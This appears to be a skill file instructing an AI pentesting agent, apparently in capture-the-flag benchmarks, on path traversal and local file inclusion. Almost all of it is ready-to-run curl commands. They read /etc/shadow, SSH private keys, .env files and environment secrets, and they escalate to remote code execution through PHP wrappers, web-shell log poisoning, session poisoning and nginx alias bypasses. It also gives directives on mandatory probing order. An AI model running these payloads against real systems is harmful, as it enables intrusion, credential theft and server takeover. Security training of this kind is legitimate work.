| name | lfi |
| description | Path traversal and Local File Inclusion (LFI) — arbitrary file reading via directory traversal, PHP filter/input/data wrappers for RCE, log poisoning, static resource disclosure, and information leakage. Use for any challenge involving file path manipulation, ../ traversal, local file read, PHP wrappers, or sensitive file disclosure. |
| allowed-tools | Bash Read Write |
| metadata | {"subdomain":"execution","when_to_use":"lfi, local file inclusion, path traversal, directory traversal, file read, php wrapper, log poisoning, file disclosure, information_disclosure, static resource, file download, include, require, file path, dot dot slash, ../, path manipulation, poison inclusion, deprecated, php filter, php input, source code read","tags":"web-application, lfi, path-traversal, file-inclusion, information-disclosure","mitre_attack":"T1190, T1005"} |
Path Traversal / Local File Inclusion (LFI)
Exploits insufficient path validation to read arbitrary files or include them for execution. Often targets file download/display endpoints, template inclusion, or static resource handlers.
Precondition — Use Recon Handoff First
If the recon handoff (recon/SUMMARY.md RECON_HANDOFF: line) names a
specific file/path parameter (e.g. /<endpoint>?file=, /<endpoint>?path=,
/<endpoint>?name=), START with the parameter named in the handoff. Do
NOT run gobuster/ffuf/dirb against the host before testing the
handoff parameter — recon already enumerated the surface. The Detection
block below is for engagements where NO recon handoff exists.
The first 3 commands you run in this skill MUST target the recon-named
parameter with these payload classes (one per command):
- plain traversal —
../../../etc/passwd
- stripped-traversal bypass —
....//....//....//etc/passwd
- PHP wrapper —
php://filter/convert.base64-encode/resource=<file>
Only if all three return baseline-matched response (per the
§"Response Body Verification" check) should you consider broader endpoint
discovery — and that discovery belongs in exploit/PIVOT.md first,
documenting (a) what payload classes you tried against the handoff
parameter, (b) why the handoff vector is exhausted, (c) the new surface
you are moving to.
Detection
for param in file name path page template doc include src resource filename load; do
resp=$(curl -s -o /dev/null -w "%{http_code}" "http://<TARGET>/?$param=../../../etc/passwd")
[ "$resp" != "404" ] && echo "Param '$param' returned $resp"
done
curl -s 'http://<TARGET>/file?name=../../../etc/passwd'
curl -s 'http://<TARGET>/file?name=../../../../etc/passwd'
curl -s 'http://<TARGET>/file?name=../../../../../etc/passwd'
curl -s 'http://<TARGET>/file?name=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd'
curl -s 'http://<TARGET>/file?name=%252e%252e%252f%252e%252e%252fetc%252fpasswd'
curl -s 'http://<TARGET>/file?name=../../../etc/passwd%00.jpg'
curl -s 'http://<TARGET>/static/..%2f..%2f..%2fetc/passwd'
curl -s 'http://<TARGET>/files/....//....//....//etc/passwd'
Server-Level Path Traversal (Nginx Alias Off-by-Slash)
Distinct from PHP-parameter LFI: the vulnerability lives in the nginx config, not in application code. Frequently appears in production reverse-proxy / static-asset / admin-panel deployments. Test EVERY discovered URL prefix that returns a 301 redirect appending /, BEFORE moving to parameter fuzzing — this probe is one curl per prefix, near-zero cost, high signal.
Fingerprint (any of these is enough to test):
Server: nginx response header
- A path
/prefix (no trailing slash) returns 301 redirecting to /prefix/ — canonical signature of location /prefix (no slash) with a separate location /prefix/ (with slash)
- Static assets served under a path prefix (
/static, /assets, /images, /admin, /files, /uploads)
Exploit pattern — append ../ DIRECTLY after the prefix (no slash between):
for prefix in admin static assets images files uploads docs api; do
STATUS=$(curl -s -o /tmp/alias_${prefix}.txt -w '%{http_code}' "http://<TARGET>/${prefix}../etc/passwd")
SIZE=$(wc -c < /tmp/alias_${prefix}.txt)
echo "${prefix}: status=${STATUS} size=${SIZE}"
grep -c 'root:' /tmp/alias_${prefix}.txt
done
PREFIX="admin"
for target in etc/passwd .env flag.txt flag config.php settings.py ../.env ../flag.txt; do
curl -s "http://<TARGET>/${PREFIX}../${target}" | head -5
done
Why it works: when location /prefix lacks the trailing slash but alias /target/ has one, nginx strips the URI's literal /prefix portion and concatenates the rest with the alias target. Request /prefix../foo → nginx removes /prefix → leaves ../foo → resolves against /target/ → /target/../foo = parent-directory access.
Distinguishing from root directive: only alias is affected. A location /static { root /var/www/; } block is NOT vulnerable to this — nginx appends the FULL request URI to the root path, so /static../etc/passwd yields /var/www/static../etc/passwd (no traversal). The 301-redirect fingerprint is the cleanest way to tell them apart without reading the config.
Decision rule: when LFI tag is in scope AND the server is nginx AND no PHP-parameter LFI is found, run the alias probe across EVERY discovered prefix before parameter fuzzing. The agent's pattern-completion failure mode is to recognize the nginx-alias concept but apply it only to one (often wrong) prefix — test all of them.
Credential/Secret File Discovery
for f in /etc/passwd /etc/shadow /root/.ssh/id_rsa \
/var/www/html/.env /app/.env /app/config.py /app/settings.py \
/opt/app/config.json /srv/app/.env; do
echo "=== $f ===" && curl -s "http://<TARGET>/file?name=../../../..$f"
done
for f in /.env /app/.env /var/www/html/.env /etc/passwd; do
echo "=== direct $f ===" && curl -s "http://<TARGET>/file?name=$f"
done
curl -s 'http://<TARGET>/file?name=../../../proc/self/environ' | tr '\0' '\n' | grep -iE 'secret|key|token|pass|cred'
curl -s 'http://<TARGET>/file?name=../../../var/www/html/.env'
curl -s 'http://<TARGET>/file?name=../../../app/.env'
Bypass Techniques
curl -s 'http://<TARGET>/file?name=....//....//....//etc/passwd'
curl -s 'http://<TARGET>/file?name=/var/www/html/../../../etc/passwd'
curl -s 'http://<TARGET>/file?name=..%252f..%252f..%252fetc/passwd'
curl -s 'http://<TARGET>/file?name=/etc/passwd'
curl -s 'http://<TARGET>/file?name=..\..\..\..\windows\win.ini'
curl -s 'http://<TARGET>/file?name=..%5c..%5c..%5cwindows%5cwin.ini'
Response Body Verification (MANDATORY for path-traversal hits)
A 200 status code on a traversal request does NOT mean the file was read. Common false-success patterns:
- Web server fallback: nginx/Apache serves index.html when the requested file is not in the alias root
- Application catch-all: framework returns a default "page not found" template with 200 status
- WAF response: returns boilerplate page with 200 instead of 403
MANDATORY verification before treating any traversal hit as success:
curl -s "https://<TARGET>/<traversal_path>" -o /tmp/probe.txt
SIZE=$(wc -c < /tmp/probe.txt)
curl -s "https://<TARGET>/" -o /tmp/baseline.txt
BASELINE=$(wc -c < /tmp/baseline.txt)
if [ "$SIZE" = "$BASELINE" ]; then
echo "FAIL: response size matches homepage — server is serving fallback, NOT the target file"
fi
grep -E '^root:x:0:0|^[a-z_-]+:[*x!]:' /tmp/probe.txt && echo "PASS: looks like /etc/passwd"
grep -E '^<\?php|^#!/' /tmp/probe.txt && echo "PASS: looks like a script source"
grep -E '^Linux|^[0-9.]+ [0-9.]+' /tmp/probe.txt && echo "PASS: looks like /proc content"
file /tmp/probe.txt | grep -v 'HTML\|empty' && echo "PASS: file(1) detected non-HTML content"
curl -s "https://<TARGET>/<traversal_prefix>etc/hostname" -o /tmp/hostname.txt
HOSTNAME_SIZE=$(wc -c < /tmp/hostname.txt)
if [ "$HOSTNAME_SIZE" -lt 100 ] && grep -qE '^[a-z0-9.-]+$' /tmp/hostname.txt; then
echo "PASS: hostname read works — bypass confirmed, now retry target file"
fi
Decision rule: If suspect response size matches homepage/baseline AND no file-format signature is present, the bypass is NOT working — pivot to a different technique (PHP wrappers, log poisoning, different traversal prefix). Do NOT iterate on the same path with different filenames; the path-validation layer is winning.
Anti-pattern: getting a 200 with a body whose size matches the homepage on /images../etc/passwd (or similar nginx alias bypass) and treating it as a hit. The body bytes are homepage HTML — the alias bypass was syntactic only, not content-bearing. With this verification rule, the size match is detected in one call and the agent pivots to wrapper techniques instead of iterating filenames.
PHP Wrappers (PHP LFI)
curl -s 'http://<TARGET>/page?file=php://filter/convert.base64-encode/resource=index.php' | base64 -d
curl -s 'http://<TARGET>/page?file=php://input' -d '<?php system("cat /.env"); ?>'
curl -s 'http://<TARGET>/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJpZCIpOyA/Pg=='
curl -s 'http://<TARGET>/page?file=expect://cat+/.env'
LFI to RCE via Log Poisoning
curl -s 'http://<TARGET>/' -H 'User-Agent: <?php system($_GET["cmd"]); ?>'
curl -s 'http://<TARGET>/page?file=../../../var/log/apache2/access.log&cmd=cat+/.env'
curl -s 'http://<TARGET>/page?file=../../../var/log/nginx/access.log&cmd=cat+/.env'
curl -s 'http://<TARGET>/page?file=../../../var/log/httpd/access_log&cmd=cat+/.env'
curl -s 'http://<TARGET>/page?file=../../../proc/self/fd/1&cmd=cat+/.env'
LFI to RCE via /proc
curl -s 'http://<TARGET>/page?file=../../../proc/self/environ'
curl -s 'http://<TARGET>/page?file=../../../proc/self/environ' \
-H 'User-Agent: <?php system("cat /.env"); ?>'
Decision Tree
LFI identified?
├── Can read /etc/passwd via ../ → Confirmed plain traversal
│ ├── Try sensitive files directly → /.env, /app/.env, /app/config.py
│ ├── Try env vars → /proc/self/environ | grep -iE 'secret|key|token|pass'
│ ├── PHP target → Try php://filter, php://input, data://
│ └── Try log poisoning → Inject via User-Agent, include log
├── Traversal returns 200 but NO useful content (the "protected" pattern)
│ ├── DO NOT iterate path encoding — content protection ≠ path filter
│ ├── MANDATORY: Try PHP stream wrappers FIRST:
│ │ ├── php://filter/convert.base64-encode/resource=../config.php
│ │ ├── php://filter/read=convert.base64-encode/resource=/app/config.php (absolute)
│ │ ├── php://filter/read=string.rot13/resource=../etc/shadow (encoding chain)
│ │ └── data://text/plain;base64,PD9waHAgc3lzdGVtKCJpZCIpOyA/Pg== (RCE if allow_url_include)
│ ├── Then try log poisoning (Apache access.log) + include log path
│ └── Then try expect://id (if expect wrapper enabled)
└── Blocked at path-validation layer (404 or rejection)
├── Try encoding → URL-encode, double-encode, null byte
├── Try ....// → Survives single-pass stripping
└── Try absolute path → /etc/passwd without ../
Protected LFI Escalation Rule (MANDATORY)
When a challenge contains "protected", "patched", "hardened", or similar in its name/tags AND traversal returns 200 with no useful content, the protection is at the PHP-include layer. The protection class determines the bypass class — wrappers ≠ universal solution.
Step 0 (MANDATORY before wrappers) — diagnose the protection class.
Probe in this exact order. The first probe that returns content reveals the protection type and pins the bypass.
curl -s "http://<TARGET>/<PARAM>?<KEY>=....//....//....//etc/passwd" -o /tmp/lfi_a.txt
grep -c 'root:' /tmp/lfi_a.txt
curl -s "http://<TARGET>/<PARAM>?<KEY>=.....///.....///.....///etc/passwd" -o /tmp/lfi_a2.txt
grep -c 'root:' /tmp/lfi_a2.txt
curl -s "http://<TARGET>/<PARAM>?<KEY>=../../../etc/passwd%00.png" -o /tmp/lfi_b.txt
grep -c 'root:' /tmp/lfi_b.txt
curl -s "http://<TARGET>/<PARAM>?<KEY>=php://filter/convert.base64-encode/resource=index.php" \
-o /tmp/lfi_c.txt
[ -s /tmp/lfi_c.txt ] && base64 -d /tmp/lfi_c.txt 2>/dev/null | head -3
Branch by winner:
- Probe A wins (single-pattern collapse) —
....// strips to ../ per stripping pass. Target the flag DIRECTLY: curl 'http://<TARGET>/<PARAM>?<KEY>=....//....//....//<FLAG_FILE_GUESS>' where <FLAG_FILE_GUESS> comes from the benchmark skill if BENCHMARK_MODE=1, otherwise /etc/passwd to confirm primitive then app-config files. Do NOT try wrappers — they will silently fail because file_exists() is the gate.
- Probe A2 wins (sequential array collapse) —
...../// survives the cascading multi-pattern strip. Target the flag with the SAME depth as Probe A: curl 'http://<TARGET>/<PARAM>?<KEY>=.....///.....///.....///<FLAG_FILE_GUESS>'. Count directories between the include base path and the target file; one ...../// per level. Wrappers will also silently fail under this filter.
- Probe B wins (null-byte) — append
%00<expected_ext> (e.g., %00.png, %00.html) to any path. Works on PHP < 5.3 with magic_quotes_gpc off.
- Probe C wins (wrappers accepted) — proceed to the wrapper escalation list below.
- All probes return same blank response — protection is at
realpath() or open_basedir. ONLY then proceed to wrapper escalation; if wrappers also fail, pivot to log poisoning.
Wrapper escalation (only when Probe C wins or all probes blank):
STEP W1 (MANDATORY — wrapper availability gate): Before ANY traversal-wrapper combo, confirm wrappers are accepted using a known-good resource WITHOUT traversal. Use the original whitelisted filename or index.php. A 200 response with a clean baseline (not the blocked "no post"/"not found" template) and decodable base64 output proves wrappers work. If this baseline returns the SAME blocked response as the original request, wrappers are off at the PHP layer (allow_url_fopen=Off or filter strips php://) — DO NOT iterate wrappers; jump to STEP W5 (log poisoning).
WHITELISTED="<known_good_filename.php>"
curl -sS "http://<TARGET>/<PARAM>?<KEY>=php://filter/convert.base64-encode/resource=${WHITELISTED}" \
-o /tmp/w1.txt
[ -s /tmp/w1.txt ] && base64 -d /tmp/w1.txt 2>/dev/null | head -3
If decodable PHP/HTML appears → wrappers OK → proceed to W2-W4. If output matches the blocked baseline byte-for-byte (cmp /tmp/w1.txt /tmp/baseline_blocked.txt) → wrappers BLOCKED → skip W2-W4 and jump to W5.
- STEP W2 —
php://filter/convert.base64-encode/resource=../config.php (and other relative/absolute target paths) — bypasses content filters by reading file as base64 stream
- STEP W3 —
php://filter/read=string.rot13/resource=... — alternate encoding to defeat output sanitization
- STEP W4 — Filter chains:
php://filter/read=convert.base64-encode|string.rot13/resource=... and data://text/plain;base64,<PHP_PAYLOAD_B64> (only if allow_url_include=On)
- STEP W5 (MANDATORY when W1 fails OR W2-W4 do not yield flag) — log poisoning. Wrapper-agnostic: survives
allow_url_fopen=Off.
curl -s "http://<TARGET>/" -H 'User-Agent: <?php system($_GET["c"]); ?>'
curl -s "http://<TARGET>/<PARAM>?<KEY>=....//....//....//var/log/apache2/access.log&c=cat+/FLAG.php"
curl -s "http://<TARGET>/<PARAM>?<KEY>=../../../var/log/nginx/access.log&c=id"
- STEP W6 — session-file poisoning when log paths inaccessible: PHP serializes sessions to
/var/lib/php/sessions/sess_<PHPSESSID>. Inject PHP into a session-stored field (username, search-history), then include the session file.
Critical pin: If post.php (or equivalent) source shows if (file_exists($file)) { include($file); }, wrappers are dead by design — file_exists() returns false for php://, data://, expect:// on default PHP. Step 0 Probe A or B must win, OR the bypass is a real-file path like log poisoning where the log file actually exists on disk.
TARGET_FILE="config.php"
curl -s "http://<TARGET>/page?id=php://filter/convert.base64-encode/resource=../$TARGET_FILE" | base64 -d
curl -s "http://<TARGET>/page?id=php://filter/read=convert.base64-encode/resource=/app/$TARGET_FILE" | base64 -d
curl -s "http://<TARGET>/page?id=php://filter/read=string.rot13/resource=../$TARGET_FILE" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
Pivot discipline: After confirming traversal-syntax-works-no-content, the next move is wrappers — not more encoding variants on the same broken traversal. If wrappers also fail to return interpretable content, pivot to log poisoning. Encoding/CVE iteration on a syntactically-working-but-content-blocked traversal does not change the underlying block.
Anti-pattern: Spending the dispatch on path/encoding/CVE variants after diagnosing content-protection, never trying wrappers. With this rule the wrapper is the 1st post-diagnosis attempt.